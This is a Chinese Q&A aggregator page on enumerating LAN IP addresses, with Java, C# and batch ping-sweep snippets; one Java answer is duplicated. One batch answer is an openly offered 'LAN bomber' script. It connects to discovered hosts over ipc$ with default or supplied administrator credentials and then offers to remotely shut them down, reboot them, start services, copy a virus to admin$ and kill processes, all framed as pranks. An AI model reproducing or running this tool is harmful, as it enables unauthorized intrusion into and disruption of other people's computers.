导航:首页 > 网络安全 > 如何遍历网络地址

如何遍历网络地址

发布时间:2022-07-27 13:08:49

如何用Java遍历一个网络目录下的所有文件

java中可以通过递归的方式获取指定路径下的所有文件并将其放入List集合中。 假设指定路径为path,目标集合为fileList,遍历指定路径下的所有文件,如果是目录文件则递归调用

㈡ java如何获取局域网内所有IP

1.得到局域网网段,可由自己机器的IP来确定 (也可以手动获取主机IP-CMD-ipconfig /all)
2.根据IP类型,一次遍历局域网内IP地址
JAVA类,编译之后直接运行便可以得到局域网内所有IP,具体怎样使用你自己编写相应代码调用便可
代码如下::
package bean;

import java.io.*;
import java.util.*;

public class Ip{
static public HashMap ping; //ping 后的结果集
public HashMap getPing(){ //用来得到ping后的结果集
return ping;
}

//当前线程的数量, 防止过多线程摧毁电脑
static int threadCount = 0;

public Ip() {
ping = new HashMap();
}

public void Ping(String ip) throws Exception{
//最多30个线程
while(threadCount>30)
Thread.sleep(50);
threadCount +=1;
PingIp p = new PingIp(ip);
p.start();
}

public void PingAll() throws Exception{
//首先得到本机的IP,得到网段
InetAddress host = InetAddress.getLocalHost();
String hostAddress = host.getHostAddress();
int k=0;
k=hostAddress.lastIndexOf(".");
String ss = hostAddress.substring(0,k+1);
for(int i=1;i <=255;i++){ //对所有局域网Ip
String iip=ss+i;
Ping(iip);
}

//等着所有Ping结束
while(threadCount>0)
Thread.sleep(50);
}

public static void main(String[] args) throws Exception{
Ip ip= new Ip();
ip.PingAll();
java.util.Set entries = ping.entrySet();
Iterator iter=entries.iterator();

String k;
while(iter.hasNext()){
Map.Entry entry=(Map.Entry)iter.next();
String key=(String)entry.getKey();
String value=(String)entry.getValue();

if(value.equals("true"))
System.out.println(key+"-->"+value);
}
}
class PingIp extends Thread{
public String ip; // IP
public PingIp(String ip){
this.ip=ip;
}

public void run(){
try{
Process p= Runtime.getRuntime().exec ("ping "+ip+ " -w 300 -n 1");
InputStreamReader ir = new InputStreamReader(p.getInputStream());
LineNumberReader input = new LineNumberReader (ir);
//读取结果行
for (int i=1 ; i <7; i++)
input.readLine();
String line= input.readLine();

if (line.length() <17 || line.substring(8,17).equals("timed out"))
ping.put(ip,"false");
else
ping.put(ip,"true");
//线程结束
threadCount -= 1;
}catch (IOException e){}
}
}
}

㈢ 如何遍历ip地址

小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。

shell不会玩,Windows下的bat还会点...
还有一点 要在Windows中调用linux中的shell脚本啊?
应该不可能...或者很难!

在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!

第一段:
@echo off
title 扫描在线IP
::MODE con: COLS=60 LINES=18
color 0a
::装饰。

:kaishi
cls
for /l %%i in (1,1,4) do echo.
set /p qishi= 起始IP:
set /p jieshu= 终止IP:
IF ERRORLEVEL 1 echo 错误的IP地址格式! && pause && goto kaishi
echo.
::从键盘获得两个变量的值。

for /f "tokens=1-4 delims=." %%a in ("%qishi%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v1=%%a
set v2=%%b
set v3=%%c
set v4=%%d
)
::分离起始IP的四个段并赋值,判断IP是否正确。

for /f "tokens=1-4 delims=." %%a in ("%jieshu%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v5=%%a
set v6=%%b
set v7=%%c
set v8=%%d
)
::分离终止IP的四个段并赋值,判断IP是否正确。

IF %V5% LSS %V1% echo 错误:终止IP不能小于起始IP。& pause & goto kaishi
::判断终止IP与起始IP的正确性。

IF %V4% LEQ %V8% set zeng_1=1
IF %V4% GEQ %V8% set zeng_1=-1
IF %v3% LEQ %v7% set zeng_2=1
IF %V3% GEQ %V7% set zeng_2=-1
IF %v2% LEQ %v6% set zeng_3=1
IF %v2% GEQ %v6% set zeng_3=-1
for /L %%d in (%v1%,1,%v5%) do (
for /L %%c in (%v2%,%zeng_3%,%v6%) do (
for /L %%b in (%v3%,%zeng_2%,%v7%) do (
for /L %%a in (%v4%,%zeng_1%,%v8%) do (
ping /n 1 %%d.%%c.%%b.%%a >nul && echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR
echo %%d.%%c.%%b.%%a
)
)
)
)
echo 扫描完毕!
pause & goto kaishi

:error_2
echo 错误的IP地址!
pause
goto kaishi

第二段(未编写测试完):
@echo off
setlocal enabledelayedexpansion
title Win 2k 局域网轰炸器 未完待续 ~す珹す~
color 0a

:start
echo -------------------------------------------------------------------------------
echo 收集信息中... & echo.
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
for /f "tokens=1,2,3 delims=." %%i in ('echo !ip!') do set wd=%%i.%%j.%%k
echo 你的 IP 地址是:!ip!
echo 你所在的网段是:!wd!
echo.
echo ---请选择扫描在线主机的扫描方式---
echo 1.ping 2.net view 3.exit 注:直接按回车键使用默认方式!
set /p fs=请输入:
if "%fs%"=="" goto ping
if "%fs%"=="1" goto ping
if "%fs%"=="2" goto net view
if "%fs%"=="3" exit
cls & goto start

:ping
echo.
echo 输入需要扫描的IP范围(不需输网段) 1至255之内 结尾数不能小于起始数!
set /p qs=起始数:
set /p js=结束数:
if !qs! gtr !js! echo 起始数 不能大于 结束数! && ping 127.1 /n 2 >nul 2>nul && goto ping
echo 正在扫描 !wd!.!qs! 至 !wd!.!js! 范围内的主机在线情况...
echo -------------------------------------------------------------------------------
for /l %%i in (!qs!,1,!js!) do (
ping !wd!.%%i /n 1 >nul 2>nul && echo !wd!.%%i 在线! && echo !wd!.%%i>>zx.txt|| echo !wd!.%%i 离线!
)
echo --------------------------------------------------------------------------------
goto ipc$ scan

:net view
echo.
echo 此局域网内在线主机:
echo -------------------------------------------------------------------------------
FOR /F "eol=- delims=\\" %%c in ('net view') do (
FOR /F "eol=服" %%i in ('echo %%c') do (
FOR /F "eol=命" %%i in ('echo %%c') do (
echo %%i && echo %%i>>zx.txt
)
)
)
echo --------------------------------------------------------------------------------
goto ipc$ scan

:ipc$ scan
echo.
echo 即将开始ipc$扫描...
echo.
if not exist zx.txt echo sorry! 此局域网中无在线主机,无法进行ipc$扫描! 正在返回主菜单... && ping 127.1 /n 5 >nul 2>nul && cls && goto start
echo ipc$ 扫描时使用何用户? 注:直接按回车键使用默认用户!
echo 要用空用户(空链接)请输入
set /p user=请输入:
if "!user!"=="" set user=administrator
if "!user!"=="null" set user=
echo ipc$ 扫描时使用何密码? 注:直接按回车键使用默认密码!
set /p password=请输入:
if "!password!"=="" set password=
echo.
echo 你选择的用户为:!user!
echo 你选择的密码为:!password!
ping 127.1 /n 2 >nul 2>nul
echo.
echo 正在扫描能ipc$连接的机子...
set ipc$=0
for /f %%i in ('type zx.txt') do (
echo -------------------------------------------------------------------------------
net use \\%%i\ipc$ "!password!" /user:"!user!" >nul && (
set /a ipc$=!ipc$!+1
echo 连接 %%i 成功!
echo %%i>>ipc.txt
net use \\%%i /del>nul 2>nul
) || (
echo 连接 %%i 失败! ↑↑↑以上是错误提示! ↑↑↑
)
)
echo --------------------------------------------------------------------------------
echo 按任意键进入下一步! & pause >nul

:kill
cls
for /l %%i in (1,1,9) do echo.
echo 扫描到 !ipc$! 台机器能ipc$连接成功!
for /l %%i in (1,1,3) do echo.
echo 请问美丽的大姐您要怎么捉弄他们?
echo.
echo 1:关了他们 2:重启他们 3:开启服务
echo 4:传送病毒 5:弹出消息 6:关闭进程
echo.
set /p shr= 请选择:
if "!shr!"=="1" goto gj
if "!shr!"=="2" goto cq
if "!shr!"=="3" goto fw
if "!shr!"=="4" goto bd
if "!shr!"=="5" goto xx
if "!shr!"=="6" goto jc
goto kill

:gj
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -s -t 0
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start

:cq
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -r -t 0
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start

:fw
set /p fwm=请输入需要开启的服务名:
::还需检测路劲
for /f %%i in ('type ipc.txt') do (
net start \\%%i !fwm!
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start

:bd
set /p bdm=请输入要传送的病毒的路径:
for /f %%i in ('type ipc.txt') do (
!bdm! \\%%i\admin$
::还需开启对方计划任务服务 运行病毒
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start

:xx
set /p xx=请输入要弹出的消息:
for /f %%i in ('type ipc.txt') do (
echo 正在弹消息中...
sc \\%%i config messenger start= auto >nul 2>nul
sc \\%%i start messenger >nul 2>nul
net send %%i !xx!
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start

:jc
set /p jc=请输入需要关闭的进程名:
for /f %%i in ('type ipc.txt') do (
!bdm! \\%%i\admin$
taskkill /s \\%%i /f /im !jc!
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start1
pause

㈣ 如何获取局域网内所有IP地址 java代码

1.得到局域网网段,可由自己机器的IP来确定 (也可以手动获取主机IP-CMD-ipconfig /all)
2.根据IP类型,一次遍历局域网内IP地址
JAVA类,编译之后直接运行便可以得到局域网内所有IP,具体怎样使用你自己编写相应代码调用便可
代码如下::
package bean;

import java.io.*;
import java.util.*;

public class Ip{
static public HashMap ping; //ping 后的结果集
public HashMap getPing(){ //用来得到ping后的结果集
return ping;
}

//当前线程的数量, 防止过多线程摧毁电脑
static int threadCount = 0;

public Ip() {
ping = new HashMap();
}

public void Ping(String ip) throws Exception{
//最多30个线程
while(threadCount>30)
Thread.sleep(50);
threadCount +=1;
PingIp p = new PingIp(ip);
p.start();
}

public void PingAll() throws Exception{
//首先得到本机的IP,得到网段
InetAddress host = InetAddress.getLocalHost();
String hostAddress = host.getHostAddress();
int k=0;
k=hostAddress.lastIndexOf(".");
String ss = hostAddress.substring(0,k+1);
for(int i=1;i <=255;i++){ //对所有局域网Ip
String iip=ss+i;
Ping(iip);
}

//等着所有Ping结束
while(threadCount>0)
Thread.sleep(50);
}

public static void main(String[] args) throws Exception{
Ip ip= new Ip();
ip.PingAll();
java.util.Set entries = ping.entrySet();
Iterator iter=entries.iterator();

String k;
while(iter.hasNext()){
Map.Entry entry=(Map.Entry)iter.next();
String key=(String)entry.getKey();
String value=(String)entry.getValue();

if(value.equals("true"))
System.out.println(key+"-->"+value);
}
}
class PingIp extends Thread{
public String ip; // IP
public PingIp(String ip){
this.ip=ip;
}

public void run(){
try{
Process p= Runtime.getRuntime().exec ("ping "+ip+ " -w 300 -n 1");
InputStreamReader ir = new InputStreamReader(p.getInputStream());
LineNumberReader input = new LineNumberReader (ir);
//读取结果行
for (int i=1 ; i <7; i++)
input.readLine();
String line= input.readLine();

if (line.length() <17 || line.substring(8,17).equals("timed out"))
ping.put(ip,"false");
else
ping.put(ip,"true");
//线程结束
threadCount -= 1;
}catch (IOException e){}
}
}
}

㈤ 遍历局域网IP

大概思路是这样的,在某个IP地址段内,循环ping 别人的IP。ping通了就表明对方在线。因为平通一个IP需要时间,所以可以使用多线程提高效率。
string gate = "192.168.1.";//网关
for (int index = 1; index <= 255; index++)
{
IPAddress address = IPAddress.Parse(gate + index.ToString());
Thread thread = new Thread(new ThreadStart(
delegate()//匿名方法
{
Ping ping = new Ping();
PingReply result = ping.Send(address);
if (result.Status == IPStatus.Success)
{
lock (this.lstComputer)//防止2个线程去ping同一个IP,节约时间
{
this.lstComputer.Items.Add(Dns.GetHostEntry(address).HostName + " : " + address.ToString());//ping通的结果保存到ListBox中,即在线的人
}
}
}
));
thread.IsBackground = true;//设为后台线程
thread.Start();//启动线程,开始去ping IP
}

㈥ 如何能遍历一个网站,取得所有的静态页面

现在这社会,做一件事只有两种方案:

  1. 自己会自己做。

  2. 自己不会,找会做的人做。

  3. 别人为什么牺牲自己的时间精力专业能力为自己做事?那要看自己怎么做。


从技术分析,既然是遍历,那就是数量众多,不想靠手工去实现。

既然不用手工要么是硬件设备,要么是软件工具。而开发都需要时间去实现。

并且要根据目标网站的特性,针对性应对,并不是所有网站都一样,有很多防遍历的情况存在,所以要看具体情况。

㈦ C# 遍历IP地址

public List <IPAddress> GetLiveIP(IPAddress startIP, IPAddress endIP)
{
List <IPAddress> ipList = new List <IPAddress>();
IPAddress currentIP = new IPAddress(startIP.Address);
currentIP = startIP;
while (currentIP.Address <= endIP.Address)
{
if (getIpState(currentIP) == "连接")
{
ipList.Add(currentIP);
}
currentIP = NextIP(currentIP);
}
return ipList;
}
/// 从一个IPAddress 获取它的下一个 IPAddress
public IPAddress NextIP(IPAddress theIP)
{
uint startuint = (uint)IPAddress.NetworkToHostOrder((int)theIP.Address);

long NetWorklong = (long)IPAddress.HostToNetworkOrder((int)(startuint + 1));

return new IPAddress(NetWorklong);
}

/// 判断IP是否活动

public bool IpIsLive(IPAddress theIP)
{
System.Net.NetworkInformation.Ping pi = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply pr = pi.Send(theIP);
if ((pr.Status & System.Net.NetworkInformation.IPStatus.Success) == System.Net.NetworkInformation.IPStatus.Success)
{
return true;
}
else
{
return false;
}
}

/// 用cmd 判断IP状态 (古老的方法,放着纪念)
public string getIpState(IPAddress theIP)
{
Process pcs = new Process();
pcs.StartInfo.FileName = "cmd.exe";
pcs.StartInfo.UseShellExecute = false;
pcs.StartInfo.RedirectStandardInput = true;
pcs.StartInfo.RedirectStandardOutput = true;
pcs.StartInfo.RedirectStandardError = true;
pcs.StartInfo.CreateNoWindow = true;

string pingStr;
pcs.Start();
pcs.StandardInput.WriteLine("ping -n 1 " + theIP.ToString());
pcs.StandardInput.WriteLine("exit");
string strRst = pcs.StandardOutput.ReadToEnd();

if (strRst.IndexOf("(0% loss)") != -1)
pingStr = "连接";
else if (strRst.IndexOf("Destination host unreachable.") != -1)
pingStr = "无法到达目的主机";
else if (strRst.IndexOf("Request timed out.") != -1)
pingStr = "超时";
else if (strRst.IndexOf("Unknown host") != -1)
pingStr = "无法解析主机";
else
pingStr = strRst;
pcs.Close();
return pingStr;
}
以前别人写了,直接拿来用.....

㈧ 在java的swing应用中获取本地ip后,根据网关如何遍历连接获得同一网段下的服务器,并在下拉列表中显示

用多线程+socket编程,遍历连接网段的其他ip地址的常用端口是否开放。
或者用Runtime类调用ping命令,遍历ping

㈨ 如何安卓端实现遍历局域网的IP 、MAC以及端口号

局域网共享使用的端口,一般有以下几个
1.135端口,这个是rpc服务的端口,共享的时候有用的
2.445端口,这是com端口,也和netbios有关

3.139端口 ,这个netbios使用的,共享里能查到机器名全靠这个了。
一般这几个服务端口开放也基本上对应的服务没有问题,共享就可以了

阅读全文

与如何遍历网络地址相关的资料

热点内容
哪个星座最强势网络调查 浏览:225
移动网络动画 浏览:213
网络创业大神有什么好点子吗 浏览:277
5g满信号但是网络很卡 浏览:607
家庭网络无线密码怎么知道 浏览:300
如何解决网络直播不良问题 浏览:11
怎样选择路由器网络连接方式 浏览:961
网络设置5位数怎么改 浏览:690
东莞都在哪个网络招聘 浏览:724
电脑出现两个无线网络适配器 浏览:768
维他网络用语什么意思 浏览:793
计算机网络配置终端和路由器 浏览:124
网络学习编程哪个平台好 浏览:129
电信网络挂死怎么解决 浏览:754
邮箱里的网络磁盘是否是共享 浏览:15
wifi网络突然无法加入 浏览:840
手机卡连接不了网络怎么办 浏览:670
服装网络推广怎么弄 浏览:198
网络慈善如何解决 浏览:665
成都电信网络多少钱一年 浏览:84

友情链接